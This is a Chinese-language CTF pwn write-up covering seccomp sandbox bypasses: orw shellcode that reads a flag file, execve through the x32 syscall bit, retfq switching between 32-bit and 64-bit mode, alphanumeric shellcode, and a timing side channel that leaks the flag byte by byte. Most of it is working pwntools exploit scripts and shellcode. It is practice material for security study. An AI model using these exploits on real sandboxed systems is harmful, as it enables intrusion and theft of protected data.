最简单的沙盒(orw)
zyy@zyy-virtual-machine:~/pwn$ seccomp-tools dump ./orw
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
WP
#open(系统调用号为5) #sys_open(file,0,0)
xor ecx,ecx;
xor edx,edx;
push 0x0; #字符串以\x00结尾
push 0x67616c66; #flag
mov ebx,esp; #此时esp指向'flag',将'flag'赋值给ebx
mov eax,0x5;
int 0x80;
#read(系统调用号为3) #sys_read(3,0x0804A0A0,0x40)
mov ebx,0x3; #文件描述符fd:是文件描述符0\1\2\3,代表标准的输出输入和出错,其他打开的文件
mov ecx, 0x0804A0A0; #直接写到shellcode下面的地址
mov edx, 0x40;
mov eax, 0x3;
int 0x80;
#write(系统调用号为4) #sys_write(1,0x0804A0A0,0x40)
mov ebx, 0x1; #文件描述符fd:是文件描述符0\1\2\3,代表标准的输出输入和出错,其他打开的文件
mov ecx, 0x0804A0A0;
mov edx, 0x40;
mov eax, 0x4;
int 0x80;
from pwn import *
context(os = "linux", arch = "i386", log_level= "debug")
sh = remote("node3.buuoj.cn", 27008)
shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode += asm('mov eax,0x3;mov ecx, 0x0804A0A0;mov ebx,0x3;mov edx,0x40;int 0x80')
shellcode += asm('mov eax,0x4;mov ebx,0x1;int 0x80')
sh.sendlineafter('shellcode:', shellcode)
sh.interactive()
WP_again
from pwn import *
context(log_level='debug', arch='i386', os='linux')
sh = remote("node3.buuoj.cn", 27008)
save_to = 0x804a040
payload = shellcraft.i386.open('flag.txt')
payload += shellcraft.i386.read(0x3, save_to, 0x40)
payload += shellcraft.i386.write(0x1, save_to, 0x40)
sh.recvuntil(b'shellcode:')
sh.sendline(asm(payload))
print(sh.recv())
调用32位的BPI(64位程序)
题目流程
int __cdecl main(int argc, const char **argv, const char **envp)
{
sandbox(argc, argv, envp);
hello();
vulnerable();
return 0;
}
ssize_t vulnerable()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x40uLL);
}
zyy@zyy-virtual-machine:~/桌面/sandbox$ checksec shellcode
[*] '/home/zyy/桌面/sandbox/shellcode'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
zyy@zyy-virtual-machine:~/桌面/sandbox$ seccomp-tools dump ./shellcode
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
32位BPI相关定义
我们虽然不能使用64位下的execv
系统调用,但是我们可以让64位程序使用32位的BPI
调用execv
,相关宏定义如下:
/*
* x32 syscall flag bit. Some user programs expect syscall NR macros
* and __X32_SYSCALL_BIT to have type int, even though syscall numbers
* are, for practical purposes, unsigned long.
*
* Fortunately, expressions like (nr & ~__X32_SYSCALL_BIT) do the right
* thing regardless.
*/
#define __X32_SYSCALL_BIT 0x40000000
所以我们只要在所需的系统调用号上加上0x40000000
,就可以用32位模式调用64位调用号,例如:我们希望使用execv
,那我们在对rax
赋值的时候就可以把原来的59
改成0x4000003b
(0x40000000+59
)。
WP
from pwn import *
sh = process("./shellcode")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF('./shellcode')
libc = ELF('./libc-2.31.so')
pop_rdi = 'nop;nop;nop;nop;nop;pop rdi;pop rdi;ret' # len(pop_rdi) = 8
system = 'nop;xor esi,esi;xor edx,edx;mov rax,0x4000003b;syscall;nop;nop' # len(system) = 16
jump_rsp = 0x400685 # jump rsp;
sub_rsp = 'sub rsp,0x30;jmp rsp'
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x40068A
ret = 0x40044e
sh.recvuntil("Hello ctfer!\nWelcome to the stackoverflow!!\nCan u pwn me?")
payload = asm(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
payload += p64(0) + p64(jump_rsp) + asm(sub_rsp)
sh.send(payload)
sh.recv()
puts_addr = u64(sh.recv(6) + b'\x00'*2)
print('puts_addr:' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
str_bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
sh.recvuntil("Hello ctfer!\nWelcome to the stackoverflow!!\nCan u pwn me?")
print(len(asm(system)))
payload = asm(pop_rdi) + p64(str_bin_sh) + asm(system)
payload += p64(jump_rsp) + asm(sub_rsp)
sh.send(payload)
sh.interactive()
虽然攻击流程比较简单,但是细节还是挺多的,注意以下几点:
- 在构造汇编代码的时候要注意对齐,大小应该是8的整数倍
- 由于溢出空间不足,所以我们需要依靠
rsp
来实现程序流的控制(初始的时候rsp
是指向buf
的开始位置的) - 注意
rsp
的动态变化,这就是为什么一开始要进行两次pop rdi
的操作 - 注意
rsp
存储的应该是汇编指令的地址,而不是其实际的值
补充
在攻击成功之后,我们使用ls
命令或者是cat
命令时会报错,而使用pwd
命令或者是cd
命令不会报错,这是因为前者是外部命令,后者是内部命令,而外部命令都会使用execv
这个系统调用,大部分外部命令存在于bin
目录下,而内部命令是系统编译进入了操作系统,所以可以使用,我们可以使用type -a <命令>
来查看是否为外部命令。这道题目沙箱禁用了execv
,因此对子进程也有效。相关信息如下:
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x1e bytes:
b'Bad system call (core dumped)\n'
Bad system call (core dumped)
$ pwd
[DEBUG] Sent 0x4 bytes:
b'pwd\n'
[DEBUG] Received 0x19 bytes:
00000000 2f 68 6f 6d 65 2f 7a 79 79 2f e6 a1 8c e9 9d a2 │/hom│e/zy│y/··│····│
00000010 2f 73 61 6e 64 62 6f 78 0a │/san│dbox│·│
00000019
/home/zyy/桌面/sandbox
$
zyy@zyy-virtual-machine:~/桌面/sandbox$ type -a ls
ls 是 `ls --color=auto' 的别名
ls 是 /bin/ls
zyy@zyy-virtual-machine:~/桌面/sandbox$ type -a pwd
pwd 是 shell 内建
pwd 是 /bin/pwd
zyy@zyy-virtual-machine:~/桌面/sandbox$ strace ls
execve("/bin/ls", ["ls"], [/* 49 vars */]) = 0
......
解决方案:我们可以寻找ls
命令的源码并将其编译为32位的程序(gcc -m32
),将其替代bin
下的对应文件,或者直接装个32位的操作系统。
模式转换(利用retfq)
题目流程
void __noreturn start()
{
signed __int64 v0; // rax
signed __int64 v1; // rax
signed __int64 v2; // rax
unsigned __int64 v3; // r10
signed __int64 v4; // rax
char *dest; // rbx
signed __int64 v6; // rax
signed __int64 len; // rax
int v8; // r12d
int i; // r13d
signed __int64 v10; // rax
signed __int64 v11; // rax
unsigned __int64 arg3[2]; // [rsp+80h] [rbp-80h] BYREF
__int16 v13; // [rsp+90h] [rbp-70h] BYREF
char v14; // [rsp+92h] [rbp-6Eh]
char v15; // [rsp+93h] [rbp-6Dh]
int v16; // [rsp+94h] [rbp-6Ch]
__int16 v17; // [rsp+98h] [rbp-68h]
char v18; // [rsp+9Ah] [rbp-66h]
char v19; // [rsp+9Bh] [rbp-65h]
int v20; // [rsp+9Ch] [rbp-64h]
__int16 v21; // [rsp+A0h] [rbp-60h]
char v22; // [rsp+A2h] [rbp-5Eh]
char v23; // [rsp+A3h] [rbp-5Dh]
int v24; // [rsp+A4h] [rbp-5Ch]
__int16 v25; // [rsp+A8h] [rbp-58h]
char v26; // [rsp+AAh] [rbp-56h]
char v27; // [rsp+ABh] [rbp-55h]
int v28; // [rsp+ACh] [rbp-54h]
__int16 v29; // [rsp+B0h] [rbp-50h]
char v30; // [rsp+B2h] [rbp-4Eh]
char v31; // [rsp+B3h] [rbp-4Dh]
int v32; // [rsp+B4h] [rbp-4Ch]
__int16 v33; // [rsp+B8h] [rbp-48h]
char v34; // [rsp+BAh] [rbp-46h]
char v35; // [rsp+BBh] [rbp-45h]
int v36; // [rsp+BCh] [rbp-44h]
__int16 v37; // [rsp+C0h] [rbp-40h]
char v38; // [rsp+C2h] [rbp-3Eh]
char v39; // [rsp+C3h] [rbp-3Dh]
int v40; // [rsp+C4h] [rbp-3Ch]
__int16 v41; // [rsp+C8h] [rbp-38h]
char v42; // [rsp+CAh] [rbp-36h]
char v43; // [rsp+CBh] [rbp-35h]
int v44; // [rsp+CCh] [rbp-34h]
__int16 v45; // [rsp+D0h] [rbp-30h]
char v46; // [rsp+D2h] [rbp-2Eh]
char v47; // [rsp+D3h] [rbp-2Dh]
int v48; // [rsp+D4h] [rbp-2Ch]
v13 = 32;
v14 = 0;
v15 = 0;
v16 = 0;
v17 = 21;
v18 = 6;
v19 = 0;
v20 = 5;
v21 = 21;
v22 = 5;
v23 = 0;
v24 = 37;
v25 = 21;
v26 = 4;
v27 = 0;
v28 = 1;
v29 = 21;
v30 = 3;
v31 = 0;
v32 = 0;
v33 = 21;
v34 = 2;
v35 = 0;
v36 = 9;
v37 = 21;
v38 = 1;
v39 = 0;
v40 = 231;
v41 = 6;
v42 = 0;
v43 = 0;
v44 = 0;
v45 = 6;
v46 = 0;
v47 = 0;
v48 = 2147418112;
LOWORD(arg3[0]) = 9;
arg3[1] = (unsigned __int64)&v13;
v0 = sys_alarm(0x3Cu);
v1 = sys_write(1u, "---------- Shellcode ----------\n", 0x20uLL);
v2 = sys_prctl(38, 1uLL, 0LL, 0LL);
v4 = sys_prctl(22, 2uLL, (unsigned __int64)arg3, v3);
dest = (char *)sys_mmap(0LL, 0x1000uLL, 7uLL, 34uLL, 0xFFFFFFFFuLL, 0LL);
v6 = sys_write(1u, "Input your shellcode: ", 0x16uLL);
len = sys_read(0, dest, 0x1000uLL);
v8 = len;
if ( dest[(int)len - 1] == '\n' )
{
dest[(int)len - 1] = 0;
v8 = len - 1;
}
for ( i = 0; i < v8; ++i )
{
if ( dest[i] <= 31 || dest[i] == 127 )
{
v10 = sys_write(1u, "Check!\n", 7uLL);
goto LABEL_10;
}
}
((void (*)(void))dest)();
LABEL_10:
v11 = sys_exit_group(0);
}
---------- Shellcode ----------
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008
0002: 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008
0003: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0008
0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008
0005: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
可以看到禁用了open这个系统调用,但是给了我们fstat这个系统调用,其调用号是0x5(在64位下是sys_fstat
,在32位下是sys_open
),所以我们利用shellcode的retfq
进行模式转换,retfq
就相当于jmp rsp; mov cs, [rsp + 0x8]
,cs寄存器中0x23表示32位运行模式,0x33表示64位运行模式,所以我们只需要构造push 0x23, push <ret_addr>, retfq
就可以实现模式转换。
要注意我们需要重新mmap一段新的空间给32位的shellcode使用,因为题目mmap出的空间是在栈上,而32位模式是无法解析出地址长度比自身长的64位栈地址的,会发生段错误。这里还对输入的字符做了检查,由于syscall的汇编过不了检查,所以不能用syscall,可以用xor的方式绕过手写,也可以使用alpha生成可见字符的shellcode(尽量不要用mov会生成\x00
这样的坏字节,用push和pop来赋值)
参考文章:
mmap()函数的学习
函数定义:void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offsize);
参数的解释:
start
:指向内存开始的地址,一般为空由操作系统定义length
:映射文件内容的大小port
:映射区的保护方式(组合形式,一般题目都为7,即可读可写可执行):PROT_EXEC
:可执行PROT_READ
:可读取PROT_WRITE
:可被写入PROT_NONE
:不能存取
flags
:影响映射区域的各种特性:MAP_FIXED
:如果参数start
所指的地址无法成功建立映射时,则放弃映射,不对地址做修正。通常不鼓励用此旗标MAP_SHARED
:对应射区域的写入数据会复制回文件内,而且允许其他映射该文件的进程共享MAP_PRIVATE
:对应射区域的写入操作会产生一个映射文件的复制,即私人的”写入时复制”对此区域作的任何修改都不会写回原来的文件内容MAP_ANONYMOUS
:建立匿名映射,此时会忽略参数fd
,不涉及文件,而且映射区域无法和其他进程共享MAP_DENYWRITE
:只允许对应射区域的写入操作,其他对文件直接写入的操作将会被拒绝MAP_LOCKED
:将映射区域锁定住,这表示该区域不会被置换(swap)
fd
:文件描述符offset
:文件映射的偏移量
一般用法:mmap(start, len, 7, 34, 0, 0)
攻击思路
- 构造mmap和read的shellcode,开辟一块内存给32位的shellcode,并对这块区域进行写入
- 转换32位程序,open一下flag,注意32位寄存器和64寄存器存储的区别
- 转换64位程序,进行read和write
限制字符shellcode的生成
from pwn import *
shellcode_mmap_read_call = '''
/*mmap(0x40404040, 0x7e, 7, 34, 0, 0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 7 /*set rdx*/
pop rdx
xor r8, r8 /*set r8*/
xor r9, r9 /*set r9*/
push 0x22 /*set rcx*/
pop rcx
push 9 /*set rax*/
pop rax
syscall
/*read(0, 0x40404040, 0x70)*/
xor rdi, rdi
push 0x40404040
pop rsi
push 0x70
pop rdx
xor rax, rax
syscall
call rsi
'''
f = open('mmap_read', 'wb')
f.write(asm(shellcode_mmap_read_call, arch = 'amd64', os = 'linux'))
f.close()
python2 ./ALPHA3.py x64 ascii mixedcase rbx --input="mmap_read"
生成之后的shellcode是这样的:
Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2E0r150p020n1o0N2N0Z050j2C104o1M1O3k2D2r130Z7l0h0e072k108O1l2O0q2m0q2q0Y7K0h2l134r7n068O4L07
也可以手写shellcode,毕竟这道题对于shellcode的字符要求还不是很严格,参考以下的文章:
[(11条消息) 2021 强网杯 强网先锋] shellcode_yongbaoii的博客-CSDN博客
WP
from pwn import *
sh = process('./shellcode')
context(log_level = 'debug', os = 'linux', arch = 'amd64')
s = lambda data :sh.send(data)
sa = lambda text, data :sh.sendafter(text, data)
sl = lambda data :sh.sendline(data)
sla = lambda text, data :sh.sendlineafter(text, data)
r = lambda num :sh.recv(num)
ru = lambda text :sh.recvuntil(text)
uu32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
pld = '''Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2E0r150p020n1o0N2N0Z050j2C104o1M1O3k2D2r130Z7l0h0e072k108O1l2O0q2m0q2q0Y7K0h2l134r7n068O4L07'''
sh.recv()
# gdb.attach(sh, 'b *0x4002eb\nc\n')
s(pld)
# pause()
shellcode_to_x86 = '''
push 0x23
push 0x40404050
retfq
'''
shellcode_open = '''
mov esp, 0x40404200
push 0
push 0x67616c66
mov ebx, esp
xor ecx, ecx
mov eax,5
int 0x80
'''
shellcode_to_x64 = '''
push 0x33
push 0x40404078
retfq
'''
shellcode_read = '''
mov rdi, 3
mov rsi, 0x40404100
mov rdx, 0x60
xor rax, rax
syscall
'''
shellcode_write = '''
mov rsi, 0x40404100
mov rdx, 0x60
mov rdi, 1
mov rax, 1
syscall
'''
pld = asm(shellcode_to_x86)
pld = pld.ljust(0x10, b'\x90')
pld += asm(shellcode_open)
pld += asm(shellcode_to_x64)
pld = pld.ljust(0x38, b'\x90')
pld += asm(shellcode_read)
pld += asm(shellcode_write)
# gdb.attach(sh)
# pause()
s(pld)
sh.interactive()
WP_again
网上师傅的手写shellcode脚本
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./shellcode')
p.recvuntil("shellcode: ")
append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
'''
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
append = '''
push rdx
pop rdx
'''
# 0x40404040为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx
push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0, 0x40404040, 0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
'''
shellcode_retfq = '''
push rbx
pop rax
xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append
shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
print(hex(len(shellcode)))
p.sendline(shellcode)
p.sendline(shellcode_x86 + 0x29*b'\x90' + shellcode_flag)
p.interactive()
侧信道攻击(不允许write)
了解何为侧信道攻击?当题目开启了沙盒禁用了execv
系统调用,那我们可以通过owr
来进行攻击获取flag
,但是当我们能够使用的系统调用更少了,比如我们只有open
和read
可用,或者是程序close(1)
关闭了输出流,那我们怎么攻击呢?我们只能对flag
进行逐位爆破。
如何实现爆破呢?我们通常会将flag
读写到一段内存空间,然后用猜测的方法将我们每次输入的数据和flag
的每一位进行比较,如果比较成功了,那么程序将进入死循环(我们可以通过time
这个模块来获取时间戳的差值),比如时间超过1秒那么我们对于flag
的一个字节就爆破成功,同时配上python
中的try
和except
这两个关键字就可以实现逐位的爆破。一般这种攻击一般采用shellcode
来攻击,基于二分法的攻击将更为简便。
题目流程
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int v3; // eax
__int128 v4; // xmm0
__int128 v5; // xmm1
__int128 v6; // xmm2
__int64 v8; // [rsp+48h] [rbp-68h]
__int64 v9; // [rsp+50h] [rbp-60h]
__int128 buf; // [rsp+60h] [rbp-50h] BYREF
__int128 v11; // [rsp+70h] [rbp-40h]
__int128 v12; // [rsp+80h] [rbp-30h]
__int128 v13; // [rsp+90h] [rbp-20h]
unsigned __int64 v14; // [rsp+A0h] [rbp-10h]
v14 = __readfsqword(0x28u);
sub_A60(a1, a2, a3);
v13 = 0LL;
v12 = 0LL;
v11 = 0LL;
buf = 0LL;
puts("Welcome to silent execution-box.");
v3 = getpagesize();
v9 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);
read(0, &buf, 0x40uLL);
prctl(38, 1LL, 0LL, 0LL, 0LL);
v8 = seccomp_init(0LL);
seccomp_rule_add(v8, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v8, 2147418112LL, 0LL, 0LL);
seccomp_load(v8);
v4 = buf;
v5 = v11;
v6 = v12;
*(_OWORD *)(v9 + 48) = v13;
*(_OWORD *)(v9 + 32) = v6;
*(_OWORD *)(v9 + 16) = v5;
*(_OWORD *)v9 = v4;
((void (__fastcall *)(__int64, __int64, __int64))v9)(3735928559LL, 3735928559LL, 3735928559LL);
return 0LL;
}
zyy@zyy-virtual-machine:~/桌面/lm/silent$ seccomp-tools dump ./silent
Welcome to silent execution-box.
aaa
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007
0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
这里我们看到开辟了一块起始地址是0x1000
的映射段,并且会将我们写入的数据存入该映射段中,最后执行我们所写的内容,这里由于0x40
小于16*8
,所以不用担心程序修改我们的shellcode
。
恶补一下汇编(判断与跳转)
判断指令
cmp
指令:cmp <arg1> : <arg2>
计算<arg1> - <arg2>
的结果但是不保存,仅仅对标志位进行设置,有以下几种情况:
arg1 = arg2
:zf = 1
arg1 != arg2
:zf = 0
arg1 >= arg2
:cf = 0
arg1 > arg2
:cf = 0
且zf = 0
arg1 <= arg2
:cf = 1
且zf = 1
跳转指令
- 基于特定的标志位
jz
:为零跳转,zf = 1
jnz
:非零跳转,zf = 0
jc
:进位跳转,cf = 1
jnc
:无进位跳转,cf = 0
- 基于相等性的跳转
je
:相等跳转,zf = 1
jne
:不相等跳转,zf = 0
- 基于无符号数比较的跳转
ja
:大于跳转,cf = 0
且zf = 0
jna
:不大于跳转,cf = 1
且zf = 1
jb
:小于跳转,cf = 1
jnb
:不小于跳转,cf = 0
WP
import time
from pwn import *
context(arch = 'amd64', os = 'linux')
sd = lambda data : sh.sendline(data)
ans = ''
for i in range(16,17): # range(0,8) range(8,16) range(16,17)
for ch in range(32, 127):
sh = process('./silent')
sh.recvuntil('Welcome to silent execution-box.\n')
# 如果没有收取'\n',那么下面就需要再次recv来收取垃圾数据
shellcode = shellcraft.amd64.pushstr("flag")
shellcode += shellcraft.amd64.linux.open('rsp',0,0)
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 17)
# 进行逐个字节的比较
shellcode += '''
loop:
cmp byte ptr[rsp+{0}], {1}
je loop
'''.format(i, ch)
payload = asm(shellcode)
# gdb.attach(sh)
sd(payload)
# pause()
start = time.time()
try:
# sh.recv() # 收取垃圾数据
sh.recv(timeout = 2)
except:
pass
end = time.time()
if end - start > 1.5:
ans = ans + chr(ch)
success("\033[0;32mflag:{0}\033[0m".format(ans))
sh.close()
sleep(3)
break
需要注意的是,如果我们open
的文件过多,系统会发生错误:OSError: [Errno 24] Too many open files
,所以我们每次爆破的flag的字节数有限制,需要对索引进行调整,这也是这个脚本的缺陷所在。
WP_again
学长的自动化脚本,膜拜一下
from pwn import *
# context.log_level = "debug"
context.arch = 'amd64'
def dynamite_xor(io,idx,char):
shellcode = shellcraft.amd64.pushstr("flag")
shellcode += shellcraft.amd64.linux.open('rsp',0,0)
shellcode += shellcraft.amd64.linux.read('rax','rsp',idx+1)
shellcode += "mov al,[rsp+{0}];xor rax,{1};".format(str(idx),str(char))
shellcode += shellcraft.amd64.linux.read('rax','rsp',1)
payload = asm(shellcode)
io.recvuntil('Welcome to silent execution-box.')
info("\033[0;34mmov al,[rsp+{0}]; xor rax, {1};\033[0m".format(str(idx),chr(char)))
io.sendline(payload)
def dynamite_sub(io,idx,char):
shellcode = shellcraft.amd64.pushstr("flag")
shellcode += shellcraft.amd64.linux.open('rsp',0,0)
shellcode += shellcraft.amd64.linux.read('rax','rsp',idx+1)
shellcode += "mov al,[rsp+{0}];sub rax,{1};".format(str(idx),str(char))
shellcode += shellcraft.amd64.linux.read('rax','rsp',1)
payload = asm(shellcode)
io.recvuntil('Welcome to silent execution-box.')
info("\033[0;34mmov al,[rsp+{0}];sub rax,{1};\033[0m".format(str(idx),chr(char)))
io.sendline(payload)
def dynamite_add(io,idx,char):
shellcode = shellcraft.amd64.pushstr("flag")
shellcode += shellcraft.amd64.linux.open('rsp',0,0)
shellcode += shellcraft.amd64.linux.read('rax','rsp',idx+1)
shellcode += "mov al,[rsp+{0}];sub rax,{1};add rax, 2".format(str(idx),str(char))
shellcode += shellcraft.amd64.linux.read('rax','rsp',1)
payload = asm(shellcode)
io.recvuntil('Welcome to silent execution-box.')
info("\033[0;33mmov al,[rsp+{0}];sub rax,{1};add rax, 2;\033[0m".format(str(idx),chr(char)))
io.sendline(payload)
def check_time(io):
start_time = time.time()
try:
io.recv()
io.recv(timeout=2)
except:
pass
if time.time() - start_time >= 1.5:
return True
else:
return False
def check(io,idx,char):
dynamite_sub(io,idx,char)
if check_time(io):
io1 = process('./silent')
dynamite_add(io1,idx,char)
if check_time(io1):
io1.close()
return True
return False
def main():
flag = ""
for idx in range(18):
for char in range(32,127):
io = process('./silent')
if check(io,idx,char):
flag += chr(char)
success("\033[0;32mflag[{0}]:{1}\033[0m".format(str(idx),chr(char)))
success("\033[0;32mflag:{0}\033[0m".format(flag))
break
io.close()
print(flag)
main()